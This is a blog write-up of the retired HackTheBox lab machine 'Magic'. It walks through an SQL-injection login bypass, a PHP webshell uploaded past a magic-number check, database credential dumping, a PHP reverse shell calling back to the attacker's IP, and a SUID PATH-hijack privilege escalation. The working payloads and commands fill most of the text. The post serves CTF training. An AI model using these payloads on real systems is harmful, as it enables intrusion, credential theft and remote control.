HTB: Magic
Posted on 29 Aug 2020 in security • 6 min read
This is a writeup about a retired HacktheBox machine: Magic publish by TRX on April 18 2020. This box is classified as a medium machine but is quit easy. It involves a basic SQL injection, a magic file upload and a SUID binary.
Recon
We start with an nmap scan. Only the ports 22 (SSH) and 80 (HTTP).
# Nmap 7.80 scan initiated Mon Apr 20 11:14:29 2020 as: nmap -p- -oN nmap 10.10.10.185
Nmap scan report for 10.10.10.185
Host is up (0.016s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Mon Apr 20 11:14:42 2020 -- 1 IP address (1 host up) scanned in 12.63 seconds
SSH
The SSH service accept only public key authentication. Therefore we won't be able to use any password found to connect to the SSH service.
kali@kali:~$ ssh toto@10.10.10.185
toto@10.10.10.185: Permission denied (publickey).
Web
The website expose some picture gallery.
The website announce that we need to login to upload new picture.
Some mechanism forbid us to put space in our username and password. We fire up
Burp and edit the request using the Intercept
function so that our post
request look like the following
POST /login.php HTTP/1.1
Host: 10.10.10.185
Connection: close
Cookie: PHPSESSID=aakul5ai43vudv9rqhpfoedqcs
username=aa' or 1=1 -- &password=a
We are then logged in and we can upload picture using the application.
Obviously we want to upload some PHP file for instance
/usr/share/webshells/php/simple-backdoor.php
. We intercept the request with
Burp and change the Content-Type to image/png
and the image name to
simple-backdoor.php.png
.
Our request is blocked and the application send us the following message
<script>alert('What are you trying to do there?')</script><!DOCTYPE HTML>
That where the name of the box is relevant. We need to add the PNG magic number to our file.
Still using Burp we add aaaaaaaa
at the begging of our file.
Using the Raw editor in Burp we replace our a
(61
) by the PNG's magic number
89 50 4E 47 0D 0A 1A 0A
.
Our request now looks like the following (I was forced to clean the requests with the magic numbers as it broke the RSS/Atom xml).
POST /upload.php HTTP/1.1
Host: 10.10.10.185
Content-Type: multipart/form-data; boundary=---------------------------1971341748341881315972996739
Content-Length: 692
Connection: close
Cookie: PHPSESSID=gl7e03c4vb6ejee40tgeobjhfh
-----------------------------1971341748341881315972996739
Content-Disposition: form-data; name="image"; filename="simple-backdoor2.php.png"
Content-Type: image/png
<89>PNG
^Z
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!-- http://michaeldaw.org 2006 -->
-----------------------------1971341748341881315972996739
Content-Disposition: form-data; name="submit"
Upload Image
-----------------------------1971341748341881315972996739--
This "image" will be uploaded and we can then go to
http://10.10.10.185/images/uploads/simple-backdoor2.php
to execute some
commands on the system.
We start enumerating and found a db.php5
file containing the database
credentials theseus:iamkingtheseus
.
GET /images/uploads/simple-backdoor2.php.png?cmd=cat+/var/www/Magic/db.php5 HTTP/1.1
Host: 10.10.10.185
Connection: close
Cookie: PHPSESSID=aakul5ai43vudv9rqhpfoedqcs
Content-Length: 2
HTTP/1.1 200 OK
Date: Wed, 22 Apr 2020 12:32:22 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 961
Connection: close
Content-Type: text/html; charset=UTF-8
<89>PNG
^Z
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<pre>
class Database
{
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
private static $cont = null;
public function __construct() {
die('Init function is not allowed');
}
public static function connect()
{
// One connection through whole application
if ( null == self::$cont )
{
try
{
self::$cont = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
}
catch(PDOException $e)
{
die($e->getMessage());
}
}
return self::$cont;
}
public static function disconnect()
{
self::$cont = null;
}
}
</pre>
We can then use mysqldump
(which is strangely present on the box) to dump the
content of all databases using the previous credentials. That give us the
credentials for the web login form: admin:Th3s3usW4sK1ng
.
GET /images/uploads/simple-backdoor2.php.png?cmd=mysqldump+-piamkingtheseus+-u+theseus+--all-databases HTTP/1.1
Host: 10.10.10.185
Connection: close
Cookie: PHPSESSID=aakul5ai43vudv9rqhpfoedqcs
HTTP/1.1 200 OK
Date: Wed, 22 Apr 2020 12:31:35 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2201
Connection: close
Content-Type: text/html; charset=UTF-8
<89>PNG
^Z
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<pre>-- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost Database:
-- ------------------------------------------------------
-- Server version 5.7.29-0ubuntu0.18.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Current Database: `Magic`
--
CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;
USE `Magic`;
--
-- Table structure for table `login`
--
DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
`id` int(6) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `login`
--
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2020-04-22 5:31:35
</pre>
It is time to get a proper shell. We know that PHP is installed on the box (as
the web application is using PHP). So we use a PHP reverse shell and run
nc -l -p 4242
on our side.
GET /images/uploads/simple-backdoor2.php.png?cmd=php+-r+'$sock%3dfsockopen("10.10.14.226",4242)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b' HTTP/1.1
Host: 10.10.10.185
Connection: close
Cookie: PHPSESSID=aakul5ai43vudv9rqhpfoedqcs
That will give us a reverse shell as www-data
without interactivity.
Using /usr/bin/script -qc /bin/bash /dev/null
we get a better shell with
interactivity and can simply change user with su theseus
and inputing his
password Th3s3usW4sK1ng
Then we can grab the user flag.
nc -l -p 4242
/bin/sh: 0: can't access tty; job control turned off
$ /usr/bin/script -qc /bin/bash /dev/null
www-data@ubuntu:/var/www/Magic/images/uploads$ su theseus
su theseus
Password: Th3s3usW4sK1ng
theseus@ubuntu:/var/www/Magic/images/uploads$ cat ~/user.txt
cat ~/user.txt
e0d993fb203a25ba31cee6d8aa2a612f
Root
When looking at the SUID files we see that sysinfo
is quit recent.
theseus@ubuntu:/var/www/Magic/images/uploads$ find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; | grep -v snap
<ype f -exec ls -la {} 2>/dev/null \; | grep -v snap
-rwsr-xr-- 1 root dip 382696 Feb 11 07:05 /usr/sbin/pppd
-rwsr-xr-x 1 root root 40344 Mar 22 2019 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd
-rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn
-rwsr-xr-x 1 root root 75824 Mar 22 2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 149080 Jan 31 09:18 /usr/bin/sudo
-rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 44528 Mar 22 2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 22528 Jun 28 2019 /usr/bin/arping
-rwsr-xr-x 1 root root 10312 Dec 9 02:03 /usr/bin/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-sr-x 1 root root 10232 Dec 18 00:15 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 26696 Jan 8 10:31 /bin/umount
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
-rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo
-rwsr-xr-x 1 root root 43088 Jan 8 10:31 /bin/mount
-rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su
-rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
We use ltrace
(also already on the box) to see the binary calls and quickly
saw a call to lshw
using a relative path.
theseus@ubuntu:/var/www/Magic/images/uploads$ ltrace /bin/sysinfo
ltrace /bin/sysinfo
_ZNSt8ios_base4InitC1Ev(0x55b09400e131, 0xffff, 0x7ffef3bfc788, 128) = 0
__cxa_atexit(0x7f40c551fa40, 0x55b09400e131, 0x55b09400e008, 6) = 0
setuid(0) = -1
setgid(0) = -1
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x55b09400e020, 0x55b093e0c8f8, -160, 0) = 0x55b09400e020
_ZNSolsEPFRSoS_E(0x55b09400e020, 0x7f40c558f870, 0x55b09400e020, 0x55b093e0c92d====================Hardware Info====================
) = 0x55b09400e020
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev(0x7ffef3bfc650, 0x55b093e0c92e, 0, 2880) = 0x7ffef3bfc660
popen("lshw -short", "r") = 0x55b095436280
fgets(WARNING: you should run this program as super-user.
"H/W path Device Class "..., 128, 0x563a9c8f6280) = 0x7ffe1eb20b70
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffe1eb20c20, 0x7ffe1eb20b70, 0x7ffe1eb20b70, 0x6974706972637365) = 0x7ffe1eb20c20
fgets("================================"..., 128, 0x563a9c8f6280) = 0x7ffe1eb20b70
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffe1eb20c20, 0x7ffe1eb20b70, 0x7ffe1eb20b70, 0x3d3d3d3d3d3d3d3d) = 0x7ffe1eb20c20
So we simply exploit this PATH
vulnerability and get the root flag.
theseus@ubuntu:/var/www/Magic/images/uploads$ cd /tmp/
cd /tmp/
theseus@ubuntu:/tmp$ mkdir ioio
mkdir ioio
theseus@ubuntu:/tmp$ cd ioio
cd ioio
theseus@ubuntu:/tmp/ioio$ echo 'cat /root/root.txt' > lshw
echo 'cat /root/root.txt' > lshw
theseus@ubuntu:/tmp/ioio$ PATH=./:$PATH
PATH=./:$PATH
theseus@ubuntu:/tmp/ioio$ chmod +x lshw
chmod +x lshw
theseus@ubuntu:/tmp/ioio$ sysinfo
sysinfo
====================Hardware Info====================
a06f37dc581bc81a9e688040af40daaf
====================Disk Info====================
Disk /dev/loop0: 44.9 MiB, 47063040 bytes, 91920 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/loop1: 149.9 MiB, 157192192 bytes, 307016 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
(The flag is in the Hardware Info
part in the first lines of the sysinfo
output.)
Wrapping up
Quit an easy but pleasant box. I will recommend this box to beginners as I really enjoyed it.